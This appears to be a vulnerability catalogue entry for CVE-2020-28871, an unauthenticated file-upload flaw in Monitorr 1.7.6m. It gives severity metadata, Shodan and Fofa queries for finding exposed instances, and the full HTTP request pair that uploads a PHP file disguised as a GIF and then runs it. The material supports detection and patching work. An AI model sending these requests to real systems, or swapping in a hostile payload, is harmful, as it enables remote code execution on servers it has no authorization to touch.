| Title | Monitorr 1.7.6m - Unauthenticated Remote Code Execution |
|---|---|
| Author | gy741 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized remote code execution on the affected system. |
| Remediation | Upgrade to a patched version of Monitorr or apply the necessary security patches. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94046 |
| CVE ID | CVE-2020-28871 |
| CWE ID | CWE-434 |
| Shodan Query | http.favicon.hash:"-211006074" |
| Fofa Query | icon_hash="-211006074" |
| Tags | cve cve2020 unauth fileupload monitor edb intrusive packetstorm rce monitorr_project monitorr vuln |
Monitorr 1.7.6m is susceptible to a remote code execution vulnerability. Improper input validation and lack of authorization leads to arbitrary file uploads in the web application. An unauthorized attacker with web access to could upload and execute a specially crafted file, leading to remote code execution within the Monitorr.
POST /assets/php/upload.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/537.36 (KHTML, like Gecko) Version/8.0 Safari/537.36
Content-Length: 317
Accept: text/plain, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------31046105003900160576454225745
Origin: http://www.victim.com
Referer: http://www.victim.com
X-Requested-With: XMLHttpRequest
-----------------------------31046105003900160576454225745
Content-Disposition: form-data; name="fileToUpload"; filename="38FTNmECeqFGiXB2TywkK0VwesB.php"
Content-Type: image/gif
GIF89a213213123<?php echo md5("CVE-2020-28871");unlink(__FILE__);?>
-----------------------------31046105003900160576454225745--
GET /assets/data/usrimg/38ftnmeceqfgixb2tywkk0vwesb.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.1.17 (KHTML, like Gecko) Version/7.1 Safari/537.85.10
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-28871.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-28871.pcap
N/AN/A